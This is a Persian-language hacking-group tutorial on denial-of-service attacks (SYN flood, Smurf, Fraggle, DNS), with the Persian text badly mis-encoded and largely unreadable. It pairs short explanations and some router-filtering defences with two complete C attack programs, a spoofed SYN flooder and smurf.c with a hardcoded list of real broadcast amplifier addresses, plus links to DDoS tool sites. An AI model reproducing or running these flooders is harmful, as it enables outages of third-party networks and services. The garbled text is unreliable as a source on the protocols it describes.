اظامً ظٌع َلی ککبؼثؽان قکبیت ؼا ثکً پهکتیجبن قکبیت ٌکعایت مکی کىکیمح  ظٌیم زملً ؼا

ثً یک مبنکیه نکؽَع نکع، آن زملکً تکب اوتٍکب ثکً ٌمکبن  SYN Floodمؼمُلا َقتی زملً 

وقطً اظامً ضُاٌع یبفت، ظؼ زکبلی ککً ککبؼثؽان مدکبؾ ککً اؾ آظؼـ ٌکبی ظامىکً ثکً يکُؼت 

Example.com  اقت بظي می کىىع ثً آظؼـIP ؼخبع ظاظي می نُوعح ثکً ایکه ػمکل خعیع ا

گ تکً مکی نکُظح لاؾ  ثکً غککؽ اقکت ػمکل تغییکؽ خٍکت ثکؽای  Redirectionتغییؽ خٍت یب 

يبزجبن نجکً ٌؿیىً ٌبی ثبلایی ؼا تقجکل مکی کىکع َلکی ثکؽای قکبؾمبن ٌکبی ثکؿؼگ لاؾ  

 اقتح

  قبؾوعگبن قیكتم ػبمل ٌب یک ؼَل ثؽای خلُگیؽی اؾ اؾ انکجبع يکف ٌکبی اؼتجبِکبت ظؼ

وظؽ گؽفتً اوع کثلا ثؽضی اوعاؾي يکف ٌکب ؼا ثیهکتؽ گؽفتکً َ ثؽضکی ویکؿ ؾمکبن اوتظکبؼ ثکؽای 

 کُتبٌتؽ فؽٌ کؽظي اوعح TCPتکمیل اؼتجبِ پؽَقً 

ثؽای اِلاع اؾ ایىککً چکً قیكکتم ػکبملی اؾ چکً ؼَنکی ثکؽای خلکُگیؽی اؾ ایکه زمکلات 

 اقت بظي می کىع می تُاویع ثً َثكبیت ؾیؽ مؽاخؼً کىیع:

http://hationwide.net/faq_hom.php 

یکی اؾ ثؽتؽیه ؼَنٍب ثؽای خلُگیؽی اؾ انجبع نعن يف ٌب ؼَنی اقت کً ظؼ قیكتم  ػبمل لیىکُکف 

ظؼ وظؽ گؽفتً نعي اقتح ثعیه يُؼت کً ظؼ لیىُکف ثً ُِؼ کلی يکف اؼتجبِکبت ویمکً ثکبؾ تهککیل ومکی 

 نُظ ح 

 قُالی کً ظؼ ایىدب ثؽای اکثؽیت مطبِجیه مطؽذ اقت ایه اقت کً:

 ظؼ قیكتم ػبمل لیىُکف، اِلاػبت لاؾ  اؾ ٌؽ اؼتجبِ ویمً ثبؾ ظؼ کدب غضیؽي می نُظ؟

 ظؼ پبقص ثبیع ثگُییم کً

اقت ثکً ِکُؼ مسؽمبوکً ظؼ  SYNاؾ ثكتً ٌبی  .Seq. Noظؼ لیىُکف، اِلاػبت لاؾ  کً ايلی تؽیه آوٍب،     

ثکً ِکُؼ يکسیر  TCPخبقبؾی )کپكُلً( َ اؼقبد می نُظح زبد اگؽ اؼتجکبِ  ACK-SYNكتً پبقص یؼىی ث

اودب  گؽظظ، ظؼ مؽزلً قُ  مدعظاً ایه اِلاػبت ثؽمی گؽظظ َلی اگؽ زملً ای ظؼ کبؼ ثبنکع، پبقکص ثكکتً 

لیىکُکف  َخُظ وعاؼظ کً انجبع نُظ یکف ي ُضُنجطتبوً ظؼ لیى ثبؾ وطُاٌع گهت!  SYN-ACKٌبی 

ثکؽای تُلیکع َ خبقکبؾی فیلکع  SYNظؼ ایه مکبویؿ ، ککُکیوبمگػاؼی کؽظي اقتح  SYNایه مکبویؿ  ؼا کُکی 

Seq. No.  ًظؼ ثكتACK-SYN  مجتىی ثؽ مقبظیؽی کً فیلعٌبی ؾیؽ ظؼ ثكکتً ٌکبیSYN  ظؼیکبفتی ظاؼوکع یکک

 مقعاؼ چٍبؼ ثبیتی مسبقجً می نُظ:

1- Source IP Address   آظؼـ(IP )مجعا 

http://fa.wikipedia.org/wiki/%D8%AF%DB%8C%D9%88%D8%A7%D8%B1%D9%87_%D8%A2%D8%AA%D8%B4
http://hationwide.net/faq_hom.php
http://hationwide.net/faq_hom.php
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2- Destination IP Address آظؼـ(IP )مقًع 

3- Source Port Number)آظؼـ پُؼت مجعا ( 

4- Destination Port Number )آظؼـ پُؼت مقًع( 

5- Time)مقعاؼ فؼلی ؾمبن( 

 یک کلیع ؼمؿ مسؽمبوً -6

 .Seq. Noثبیتی کً ثؽ اقبـ تبثؼی اؾ متغیؽٌبی نم گبوً فُ  مسبقجً میهُظ، ثکً ػىکُان  4ایه مقعا 

ثكکتً  .Seq. Noقؽاؼ گؽفتً َ اؼقبد می نُوع َ ثعیه تؽتیت غضیکؽي ککؽظن  SYN-ACKؼ ثكتً پیهىٍبظی ظ

SYN  ظؼ زبفظً َؽَؼتی وعاؼظح ِجکق ايکُد پؽَتککلTCP فیلکع،Seq. No.  ثکً ِکُؼ ِجیغکی ثبیکع یکک مقکعاؼ

َ  کً ثً آن انبؼي کؽظیم، ایه مقکعاؼ غیکؽ تًکبظفی SYNتًبظفی ظانتً ثبنع َلی ظؼ مکبویؿ  کُکی ٌبی 

 وعاؼظح TCPزبَی اِلاػبت م یع َ الجتً مسؽمبوً اقت َ ٌیچ وُع قبؾل َ قبؾگبؼی ثب ػملکؽظ 

 :SYN Floodَاقً  Cَ ایه ٌم یک قُؼـ 

/* SYN Flood attack source code ~~~~> By Iran Hack Security TM 

      Website: iranhack.org/acc     Coded by Mr.3ler0n ;) */ 

#include <stdio.h> 

#include <stdlib.h> 

#include <signal.h> 

#include <string.h> 

#include <unistd.h> 

#include <netdb.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <arpa/inet.h> 

#include <linux/ip.h> 

#include <linux/tcp.h> 

 

void hose_trusted(unsigned int, unsigned int, unsigned short, int); 

unsigned short in_cksum(unsigned short *, int); 

unsigned int host2ip(char *); 
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main(int argc, char **argv) 

{ 

   unsigned int srchost; 

   unsigned int dsthost; 

   unsigned short port=80; 

   unsigned int number=1000; 

   if(argc < 3) 

   { 

      printf("%s srchost dsthost port num\n", argv[0]); 

      exit(0); 

   } 

   srchost = host2ip(argv[1]); 

   dsthost = host2ip(argv[2]); 

   if(argc >= 4) port = atoi(argv[3]); 

   if(argc >= 5) number = atoi(argv[4]); 

   if(port == 0) port = 80; 

   if(number == 0) number = 1000; 

   printf("synflooding %s from %s port %u %u times\n", argv[2], 

argv[1], port, number); 

   hose_trusted(srchost, dsthost, port, number); 

} 

 

void hose_trusted(unsigned int source_addr, unsigned int dest_addr, 

unsigned short dest_port, int numsyns) 

{ 

   struct send_tcp 

   { 
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      struct iphdr ip; 

      struct tcphdr tcp; 

   } send_tcp; 

   struct pseudo_header 

   { 

      unsigned int source_address; 

      unsigned int dest_address; 

      unsigned char placeholder; 

      unsigned char protocol; 

      unsigned short tcp_length; 

      struct tcphdr tcp; 

   } pseudo_header; 

   int i; 

   int tcp_socket; 

   struct sockaddr_in sin; 

   int sinlen; 

             

   /* form ip packet */ 

   send_tcp.ip.ihl = 5; 

   send_tcp.ip.version = 4; 

   send_tcp.ip.tos = 0; 

   send_tcp.ip.tot_len = htons(40); 

   send_tcp.ip.id = getpid(); 

   send_tcp.ip.frag_off = 0; 

   send_tcp.ip.ttl = 255; 

   send_tcp.ip.protocol = IPPROTO_TCP; 

   send_tcp.ip.check = 0; 
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   send_tcp.ip.saddr = source_addr; 

   send_tcp.ip.daddr = dest_addr; 

    

   /* form tcp packet */ 

   send_tcp.tcp.source = getpid(); 

   send_tcp.tcp.dest = htons(dest_port); 

   send_tcp.tcp.seq = getpid();    

   send_tcp.tcp.ack_seq = 0; 

   send_tcp.tcp.res1 = 0; 

   send_tcp.tcp.doff = 5; 

   send_tcp.tcp.fin = 0; 

   send_tcp.tcp.syn = 1; 

   send_tcp.tcp.rst = 0; 

   send_tcp.tcp.psh = 0; 

   send_tcp.tcp.ack = 0; 

   send_tcp.tcp.urg = 0; 

   send_tcp.tcp.res2 = 0; 

   send_tcp.tcp.window = htons(512); 

   send_tcp.tcp.check = 0; 

   send_tcp.tcp.urg_ptr = 0; 

    

   /* setup the sin struct */ 

   sin.sin_family = AF_INET; 

   sin.sin_port = send_tcp.tcp.source; 

   sin.sin_addr.s_addr = send_tcp.ip.daddr;    

    

   /* (try to) open the socket */ 



Denial of Service Attacks Author: Mr.3ler0n Publisher: Iran Hack Security TM 
 

All right reserved for Iran Hack security TM  Website: Www.Iranhack.org 
 

   tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 

   if(tcp_socket < 0) 

   { 

      perror("socket"); 

      exit(1); 

   } 

    

   for(i=0;i < numsyns;i++) 

   { 

      /* set fields that need to be changed */ 

      send_tcp.tcp.source++; 

      send_tcp.ip.id++; 

      send_tcp.tcp.seq++; 

      send_tcp.tcp.check = 0; 

      send_tcp.ip.check = 0; 

       

      /* calculate the ip checksum */ 

      send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 

20); 

 

      /* set the pseudo header fields */ 

      pseudo_header.source_address = send_tcp.ip.saddr; 

      pseudo_header.dest_address = send_tcp.ip.daddr; 

      pseudo_header.placeholder = 0; 

      pseudo_header.protocol = IPPROTO_TCP; 

      pseudo_header.tcp_length = htons(20); 

      bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); 
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      send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 

32); 

      sinlen = sizeof(sin); 

      sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, 

sinlen); 

   } 

   close(tcp_socket); 

} 

 

unsigned short in_cksum(unsigned short *ptr, int nbytes) 

{ 

        register long           sum;            /* assumes long == 32 

bits */ 

        u_short                 oddbyte; 

        register u_short        answer;         /* assumes u_short == 

16 bits */ 

 

        /* 

         * Our algorithm is simple, using a 32-bit accumulator (sum), 

         * we add sequential 16-bit words to it, and at the end, fold 

back 

         * all the carry bits from the top 16 bits into the lower 16 

bits. 

         */ 

 

        sum = 0; 

        while (nbytes > 1)  { 

                sum += *ptr++; 

                nbytes -= 2; 
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        } 

 

                                /* mop up an odd byte, if necessary */ 

        if (nbytes == 1) { 

                oddbyte = 0;            /* make sure top half is zero 

*/ 

                *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte 

only */ 

                sum += oddbyte; 

        } 

 

        /* 

         * Add back carry outs from top 16 bits to low 16 bits. 

         */ 

 

        sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-

16 */ 

        sum += (sum >> 16);                     /* add carry */ 

        answer = ~sum;          /* ones-complement, then truncate to 

16 bits */ 

        return(answer); 

} 

 

unsigned int host2ip(char *hostname) 

{ 

   static struct in_addr i; 

   struct hostent *h; 

   i.s_addr = inet_addr(hostname); 
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   if(i.s_addr == -1) 

   { 

      h = gethostbyname(hostname); 

      if(h == NULL) 

      { 

         fprintf(stderr, "cant find %s!\n", hostname); 

         exit(0); 

      } 

      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); 

   } 

   return i.s_addr; 

} 

 :Smurfزملات 

یکی اؾ نبیغ تؽیه زملات تکػیت قؽَیف می ثبنع کً اگؽ ثكیبؼ قبظي اقت َلی اگؽ اؾ  Smurfزملات 

نؽایّ ثً ؼَؾ آن پیهگیؽی وهُظ، ثكیبؼ مُؽ ضُاٌع ثُظح ایه وُع زملً ثؽ اؼقبد ٌمً گیؽ ثكتً ظؼ ظؼَن 

نبمل ظَ ثطم اقت کً ػجبؼتىع  IPمبوطُؼ کً می ظاویم، آظؼـ اقتُاؼ اقتح ٌ (LAN)یک نجکً مسلی 

تُقّ  IPتىظیم نُوع، ثكتً  1ثً  HostIDکً اگؽ تمب  ثیت ٌبی ثطم  HostIDَ ثطم  NetIDاؾ: ثطم 

 ٌمً مبنیه ٌبی آن نجکً مسلی ظؼیبفت ضُاٌع نعح آظؼـ ٌبی ؾیؽ ٌمگی فؽاگیؽ مسكُة می نُوع:

10.255.155.255   Class A 

131.131.255.255 Class B 

192.148.171.255 Class C 

ثكتً ؼا فؽیم آن  (MAC)آن فؽاگیؽ اقت،آظؼـ فیؿیکی  َقتی ؼَتؽ ثكتً ای ؼا ظؼیبفت کىع کً آظؼـ مقًع

ثً گُوً ای تىظیم می کىع تىظیم می کىع تب تمب  مبنیه ٌبی متًل ثً آن نجکً مسلی، ثكتً ؼا اؾ ؼَی 

تىظکیم نکعي اوکع( اقکتح  1ثیت کً ثکب مقکعاؼ  48)  FF-FF-FF-FF-FF-FFؽ ویؿ کبوبد ثؽظاؼظح مک آظؼـ فؽاگی

ثکؽای ثعیه يُؼت تمب  مبنیه ٌبی نجکً آن ثكتً ؼا ظؼیبفت ضُاٌىکع ککؽظح نکطى و کُغگؽ اؾ ایکه ؼَل 

 اؼقبد قیلاثی َیؽاوگؽ اؾ ثكتً ٌب ثً قمت قؽثبوی اقت بظي می کىعح

 م:ثؽای ظؼک ثٍتؽ ایه مطبلت مثبلی ؼا می آَؼی

  ًنطى و ُغگؽ یک ثكتICMP Echo Request ،ثكتً پیىگ( ؼا ثب تىظیم آظؼـ ثکً يکُؼت فؽاگیکؽ (

ثؽای تمبمی مبنیه ٌبی نجکً اؼقبد می کىعح ایه ثكتً تُقّ تمب  مبنیه ٌب ظؼیبفت نعي َ 
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ؼا  ICMP Echoٌؽ یک اؾ آوٍب ثً يُؼت خعاگبوً قؼی می کىىع ثکً قکمت مجکعا آن، ثكکتً پبقکص 

 کىعحاؼقبد می 

  زبد فؽٌ می کىیم و ُغگؽ ظؼ فیلع آظؼـIP  مجعا ثكتً، ثً يکُؼت فیکک)خؼلی( آظؼـ قیكکتم

 ICMP echoٌعف ؼا قؽاؼ ظٌع َ آن ؼا ثً نجکً ثعٌعح قیكتم ٌعف وبگٍکبن تؼکعاظ ؾیکبظی ثكکتً 

request  ،می گیؽظ َ ثً ػجبؼتی ثمجبؼان ضُاٌع نعح تؼعاظ ثكتً ٌبیی کً قؽثبوی ظؼیبفت می کىع

تؼعاظ قیكتم ٌبی فؼبد مُخُظ ظؼ نجکً می ثبنعح ثً ُِؼ کلی اگؽ ظؼ نجکً ای مسلی، ثکً ثً 

ثكتً پیىگ ثکً آن نکجکً  nxkقیكتم فؼبد مُخُظ ثبنعحاگؽ و ُغگؽ ظؼ ٌؽ ثبویً ثً تؼعاظ  Kتؼعاظ 

ثكتً ظؼیبفت ضُاٌع کؽظح قیكتم ٌبی ظؼَن ایه نجکً ثً  nxkث ؽقتع، قیكتم ٌعف ثً تؼعاظ 

یکب  Smurfثکً آوٍکب تقُیکت کىىکعي زملکً ثکً ٌمکیه ظلیکل  ي ثً ایه زملً کمک کؽظي اوع ُِؼ وبآگب

Smurf Amplifier   ّ56می گُییمح ظؼ ایه زملً ضطؽوبک، اگؽ نطى و ُغگؽ یک ضkbps  ظؼ اضتیبؼ

قیكتم فؼبد ظؼ نجکً ثبنع، قیكتم ٌع ظؼ ٌکؽ ثبویکً، ثبقکیلی  32ظانتً ثبنع َ ثً فؽٌ مب 

ضُاٌع ثُظح ثؽای ظؼک ثٍتؽ ایه  T1ثؽضُؼظ ضُاٌع کؽظ کً ایه زدم ثیهتؽ اؾ ضّ  1.68Mbpsمؼبظد 

ؼا ظؼ ثؽ ظاؼظ تُخکً  Smurfَ ِؽیقً ػملکؽظ زملات   Smurf Amplifierمثبد ثً تًبَیؽ ؾیؽ کً م ٍُ  

 کىیع:
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ثكیبؼ قبظي َ ؼاي مقبثلً ثب آوٍب ویؿ ثكیبؼ قبظي اقتح ثکؽای ظقتؽقکی ثکً  ICMP ایدبظ قیل ثكتً ٌبی

 وؽ  افؿاؼٌب َ ثؽوبمً ٌبی مُخُظ ثؽای نجیً قبؾی ایه زملات می تُاویع ثً ایه آظؼـ مؽاخؼً کىیع:

http://anml.iu.edu/ddos/tools.html 

مسلی، یکی اؾ َؼف ٌکبی ؼَتکؽ مسكکُة  ػجُؼ ظاظن َ ؼظ کؽظن ثكتً ٌبی فؽاگیؽ اؾ ثیؽَن ثً ظؼَن نجکً

 -می نُظ کً و ُغگؽ ظؼ فبؾ نىبقبیی قبظؼ ضُاٌع ثُظ ایکه َکؼف ؼا کهکف کىکعح ثکؽای ظقکتیبثی ثکً وکؽ 

 افؿاؼٌبی کهف ایه َؼف ٌب می تُاویع اؾ ایه آظؼقٍب ثٍؽي ثگیؽیع:

http://www.netscan.com 

http://pulltheplug.com/broadcast2.html 

ویؿ می تُان خٍت اقکه َ کهف ایه گُوً َؼف ٌب اقت بظي  NMapاقت اؾ وؽ  افؿاؼ قعؼتمىع لاؾ  ثً غکؽ 

 کؽظح

 

  َاقً لیىُکكی ٌب Smurfاؾ  Cایىم یً کع قُؼـ 

/* Smurf attack source code f0r Linux ;) 

      By Iran Hack Security TM – iranhack.org/acc 

All right reserved. Coded by Mr.3ler0n */ 

#include <signal.h> 

#include <stdio.h> 

#include <stdlib.h> 

#include <sys/socket.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <netinet/ip.h> 

#include <netinet/ip_icmp.h> 

#include <netdb.h> 

 

void banner(void); 

void usage(char *); 
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void smurf(int, struct sockaddr_in, u_long, int); 

void ctrlc(int); 

unsigned short in_chksum(u_short *, int); 

 

void main (int argc, char *argv[]) 

{ 

   struct sockaddr_in sin; 

   struct hostent *he; 

   int i, sock, delay, num, pktsize, bcast = 1, cycle = 10; 

 

   /* add your own broadcast ips, just make sure to end with NULL */ 

   char *bcastaddr[] = { 

      "199.171.190.0",   "165.154.1.255",   "205.139.4.255", 

      "198.3.101.255",   "204.71.177.0",    "192.41.177.255", 

      "206.13.28.255",   "144.228.20.255",  "206.137.184.255", 

      "198.32.186.255",  "130.63.236.255",  "208.202.14.255", 

      "208.131.162.255", "199.171.6.255",   "207.124.104.255", 

      "205.180.58.255",  "198.3.98.0",      "131.104.96.255", 

      "143.43.32.0",      "131.215.48.0",    "204.117.214.0", 

      "143.43.32.255", 

      "130.235.20.255",  "206.79.254.255",  "199.222.42.255", 

      "204.71.242.255",  "204.162.80.0",    "128.194.103.255", 

      "207.221.53.255",  "207.126.113.255", "198.53.145.255", 

      "209.25.21.255",   "194.51.83.255",   "207.51.48.255", 

      "129.130.12.255",  "192.231.221.255", "168.17.197.255", 

      "198.242.55.255",  "130.160.224.255", "128.83.40.255", 

      "131.215.48.255",  "169.130.10.255",  "207.20.7.255", 
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      "163.179.1.0",     "129.16.1.0",      "128.122.27.255", 

      "132.236.230.255", "198.32.146.255",  "192.41.177.0", 

       NULL 

   }; 

 

   banner(); 

   signal(SIGINT, ctrlc); 

 

   if (argc < 6) usage(argv[0]); 

 

   if ((he = gethostbyname(argv[1])) == NULL) { 

      perror("resolving source host"); 

      exit(-1); 

   } 

   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); 

   sin.sin_family = AF_INET; 

   sin.sin_port = htons(0); 

 

   num = atoi(argv[3]); 

   delay = atoi(argv[4]); 

   pktsize = atoi(argv[5]); 

 

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 

      perror("getting socket"); 

      exit(-1); 

   } 
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   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, 

sizeof(bcast)); 

 

   printf("Flooding %s (. = 25 outgoing packets)\n", 

          argv[1]); 

 

   for (i = 0; i < num || !num; i++) { 

      if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } 

      if (atoi(argv[2]) == 0) { 

         smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); 

         cycle++; 

         if (bcastaddr[cycle] == NULL) cycle = 0; 

      } else 

         smurf(sock, sin, inet_addr(argv[2]), pktsize); 

      usleep(delay); 

   } 

   puts("\n[0;37m\n"); 

} 

 

/* 

 *  my banner, thanks to nyt for the ansi codes. *smootch* 

 */ 

void banner (void) 

{ 

   puts(""); 

   puts("smurf.c by TFreak"); 

   puts("[0;37m"); 
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} 

 

/* 

 *  duh. 

 */ 

void usage (char *prog) 

{ 

   fprintf(stderr, "usage: %s <source> <bcast addr> " 

                   "<num packets> <packet delay> <packet size>\n", 

prog); 

   fprintf(stderr, "bcast address of 0 uses hardcoded " 

                   "addresses, num packets of 0 constant flood\n"); 

   puts("[0;37m"); 

   exit(-1); 

} 

 

/* 

 *  the routine that builds/sends the packet -- the guts of the 

program 

 */ 

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) 

{ 

   struct iphdr *ip; 

   struct icmphdr *icmp; 

   char *packet; 

 

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 

psize); 
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   ip = (struct iphdr *)packet; 

   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); 

 

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + 

psize); 

 

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 

psize); 

   ip->ihl = 5; 

   ip->version = 4; 

   ip->ttl = 255; 

   ip->tos = 0; 

   ip->frag_off = 0; 

   ip->protocol = IPPROTO_ICMP; 

   ip->saddr = sin.sin_addr.s_addr; 

   ip->daddr = dest; 

   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); 

 

   icmp->type = 8; 

   icmp->code = 0; 

   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) 

+ psize); 

 

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) 

+ psize, 

          0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); 

 

   free(packet);     /* free willy! */ 
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} 

 

/* 

 *  if SIGINT received, end nicely. 

 * 

 *  int ignored isnt used of course, thanks to robocod for pointing 

this out 

 */ 

void ctrlc (int ignored) 

{ 

   puts("\nDone!\n[0;37m"); 

   exit(1); 

} 

 

/* 

 *  calculate the checksum (stolen from ping.c with a small, 

unimportant mod 

 */ 

unsigned short in_chksum (u_short *addr, int len) 

{ 

   register int nleft = len; 

   register int sum = 0; 

   u_short answer = 0; 

 

   while (nleft > 1) { 

      sum += *addr++; 

      nleft -= 2; 
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   } 

 

   if (nleft == 1) { 

      *(u_char *)(&answer) = *(u_char *)addr; 

      sum += answer; 

   } 

 

   sum = (sum >> 16) + (sum + 0xffff); 

   sum += (sum >> 16); 

   answer = ~sum; 

   return(answer); 

} 

 :Smurfجوع تٌذی حولات 

 Smurfمسكکُة مکی نکُظح ظؼ یکک زملکً  DoSیکی اؾ مسؽة تؽیه َ نکبیغ تکؽیه زمکلات  Smurfزملات 

يُؼت می پػیؽظ(،نطى و ُغگؽ قکف تقبَبی ثبؾگهت  ICMP)زملً ای کً ثؽاقبـ اؾظیبظ ثكتً ٌبی 

ICMP (Ping ثً یک آظؼـ ) می فؽقتعح آظؼـ مىجغ تقبَبیEcho ٌمبن آظؼـ ٌعف می ثبنکع)اؾ آظؼـ ،

ٌعف ثً ػىُان آظؼـ ثبؾگهت اقت بظي می نُظ( ثؼع اؾ ظؼیبفت تقبَبی اکُ، تمب  قیكتم ٌکبی مُخکُظ 

ٌعف می فؽقتىعح ظؼ ایه زبلکت ٌکعف مکُؼظ وظکؽ ٌىگکب   IPؼا ثً آظؼـ ٌبی  Echoظؼ وبزیً، پبقص ٌبی 

ٌبیی ثب ثكتً ٌبی ثؿؼگ اؾ تؼعاظ ؾیبظی قیكتم، اؾ کبؼ ضُاٌع افتبظح ایه زملً ثؽای  ظؼیبفت ِغیبن ثكتً

اؾ کبؼ اوعاضته مىبثغ نجکً قیكتم ٌعف اؾ ؼَل مًؽف پٍىبی ثبوع اقت بظي مکی کىکعح ایکه ػمکل ویکؿ ثکب 

 اقت بظي اؾ تقُیت پٍىبی ثبوع و ُغگؽ اودب  می نُظح

 

 :Fraggleحولات ًْع 

اؾ ثكتً  ICMPاقت ثب ایه ت بَت کً ثً خبی ثكتً ٌبی  Smurfیقبً نجیً ثً زملات ػملکؽظ ایه زملً ظق

مثلاً مب یک فؽیم ؼا ثً يُؼت ٌمً گیؽ ثً قمت نجکً اؼقبد می کىیم ککً اقت بظي می نُظح  UDPٌبی 

)پُؼت میمُن( اقتحپؽَقً متىب ؽ ثب ایه پُؼت ػمکل اککُ ؼا اوچکب   7ثب نمبؼي پُؼت  UDPزبَی یک ثكتً 

ی ظٌعحیؼىی ٌؽ ظاظي ای ؼا کً ثؽایم اؼقبد نُظ، ػیىب ٌمبن ؼا ثً مجعاا اؼقبد ثبؾ می گؽظاوعحایه پُؼت م

ؼَی اکثؽیت قیكتم ٌب ثبؾ اقتح زبد اگؽ ایه ثكتً ثً يُؼت ٌمً گیؽ ثکً قکمت نکجکً اؼقکبد نکُظ، 

ؼا ثً قمت مجعاا  تمب  قیكتم ٌبی نجکً آن ؼا ظؼیبفت َ ٌؽیک اؾ آوٍب ثً يُؼت خعاگبوٍمستُیبت ثكتً

ٌکعف ؼا ثکً يکُؼت خؼلکی )فیکک( ظؼ فیلکع  HPآظؼـ  Smurfاؼقبد ثبؾ می فؽقتىعح اگؽ مب ٌمبوىع زملکً 

 مُاخً ضُاٌع نعححح UDPآظؼـ مجعاا ثكتً تىظیم کىیم، قیكتم ٌعف ثب قیلی اؾ ثكتً ٌبی 
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یهکتؽ نکجکً ٌکب اککُی اؾ َؽیت تقُیت کمتؽی ثؽضُؼظاؼوع َ ظؼ ث Smurfثً وكجت زملات  Fraggleزملات 

UDP  قؽَیكی ثب اٌمیت کمتؽ اؾICMP  اقتح پف وتیدً میگیؽیم کً زملاتFraggle  ًوكکجت ثکSmurf 

 ػمُمیت کمتؽی ظاؼوعح

 :Smurf  ّFraggleپیشگیشی اص حولات 

تقؽیجبً نجیً ٌم ٌكتىع، لػا ؼَنٍبی پیهکگیؽی اؾ آوٍکب ویکؿ  Smurf  َFraggleظَقتبن ػؿیؿ چُن ػملکؽظ 

 ٌم اقتح پف ثؽای ٌؽ ظَ زملً یک ؼَل پیهگیؽی َ مقبثلً غکؽ می کىیم:نجیً 

 :اگؽ ؼَتؽ )مكیؽیبة( نمب تُاوبیی فیلتؽیىگ ثكتً ٌب ؼا ظاؼظ

ثبیكتی قُاػع آن ثً گُوً ای تىظیم نُظ کً ثً ٌیچ َخً ثكتً ٌبی ٌمً گیکؽ ؼا ثکً ظاضکل نکجکً  (1

ً فؽاگیؽ اقتح وکتً قبثل تُخً ایىدبقت ککً ٌعایت وکىعح ایه ػمل ثٍتؽیه ؼاي مقبثلً ثب ٌؽ وُع زمل

تىظیمبت فیلتؽیىگ ثكتً ٌب ظؼ ٌؽ ؼَتؽی مت بَت اقتح مىظُؼ اؾ ت ُت ظؼ کبمىکت ٌکب َ ظقکتُؼٌبی 

مکی  َ کبو یگ آوٍکب، ثؽای آنىبیی ثب ؼَتؽٌبی نؽکت قیكکُ َؼَظی ظؼ تؽمیىبد ٌؽکعا  می ثبنعح

 ؽ اقت بظي کىیع[حمسمع مكبفوُنتً  CISCO Routersتُاویع اؾ مقبلً 

ؼَتؽٌبی خعیعی کً نؽکت قیكکُ اؼائً کؽظي اقت، ثکؽای فیلتؽیىکگ ثكکتً ٌکبی ظاؼای آظؼـ فؽاگیکؽ اؾ 

 ایه آظؼـ اقت بظي می کىىع:

No ip direct-broadcast 

( ثً مىظُؼ خلُگیؽی اؾ آغبؾ زملً اؾ قبیت ضُظتبن، ؼَتؽ ثیؽَوی )ضبؼخی( ؼا ثبیكتی ُِؼی پیکؽثىعی یکب 2

کً تمبمی ثكتً ٌبی ضبؼج نُوعي کً آظؼـ مجعاا متىبقٍ ثب ؾیؽ نجکً نکمب ظاؼوکع، ثلکُک َ  کؽظ کبو یگ

 مكعَظ کىعح اگؽ ثكتً خؼل نعي وتُاوع ضبؼج نُظ، قبظؼ ثً آقیت ؼقبوی چىعاوی وطُاٌع ثُظح

 

كکتیع، ثكتً ٌبی فؽاگیؽ ثً ظاضل نجکً اؾ ِؽیق ؼَتؽ ٌ (Forwarding)اگؽ ثً ٌؽ ظلیلی مدجُؼ ثً ٌعایت 

 ؼا ثً مسٍ َؼَظ زػف کىعح ICMPلااقل ؼَتؽ ؼا ثبیكتی ُِؼی کبو یگ کؽظ کً ثكتً ٌبی وُع 

) تجکعیل نکعن ثکً یکک  DoSثؽای خلُگیؽی اؼ قؽاؼ گؽفته ثً ػىکُان یکک َاقکطً یکب نکؽکت ظؼ یکک زملکً 

ً ؾامجکی(، ؼَتکؽ ضکُظ ؼا ِکُؼی تىظکیم کىیکع ککً ثكکتً ٌکبیی ؼا ککً مقًکع تمکبمی آوٍکبآظؼـ ٌکبی نکجک

مىتهؽ نعي ثً نجکً ضُظ، اخبؾي ػجُؼ اؾ ؼَتؽ ؼا وعٌعح  ICMPنمبقت، مكعَظ کىعح یؼىی ثً ثكتً ٌبی 

کؽظن ثً تمکبمی قیكکتم ٌکبی مُخکُظ ظؼ نکجکً ضکُظ ؼا  pingایه کبؼ ثبػ  ضُاٌع نع کً نمب تُاوبیی 

ؼیكکک ثکبلایی  ز ظ کىیعح ظؼ زبلی کً ایه ػمل ؼا اؾ ِؽیق یک قیكتم ثیؽَوی اودکب  ظٌیکعح اگکؽ ظؼيکع

ظاؼیع، می تُاویع ٌبقت ٌب یب قؽَیف ٌبی میؿثبن ضُظ ؼا ُِؼی پیکؽثىعی کىیع کً اؾ اوتهبؼ ثكتً ٌکبی 

ICMP خلُگیؽی کىعح 

َ تمکبمی پکُؼت ٌکبی ؾائکع ویکؿ مکی تُاوکع ؼَل ضکُثی خٍکت  7ثً گ تً ثؽضی اؾ ظَقتبن ویؿ ثكته پُؼت 

 خلُگیؽی اؾ زملات فؽاگیؽ ثبنعح

 :)ُاDomain Name Serverَ علیَ ) حول DNSحولات 

، زملکً کىىکعگبن قکبظؼ ثُظوکع ثکً ِکُؼ BIND (Berkeley Internet Name Domain)ظؼ َیؽایم ٌبی قعیمی 

ککً ظؼ زکبد اقکت بظي اؾ ػملیکبت ثبؾگهکت ثکؽای  DNSیک قکؽَؼ  (Cache Memory)مُثؽی اؾ زبفظً وٍبن 
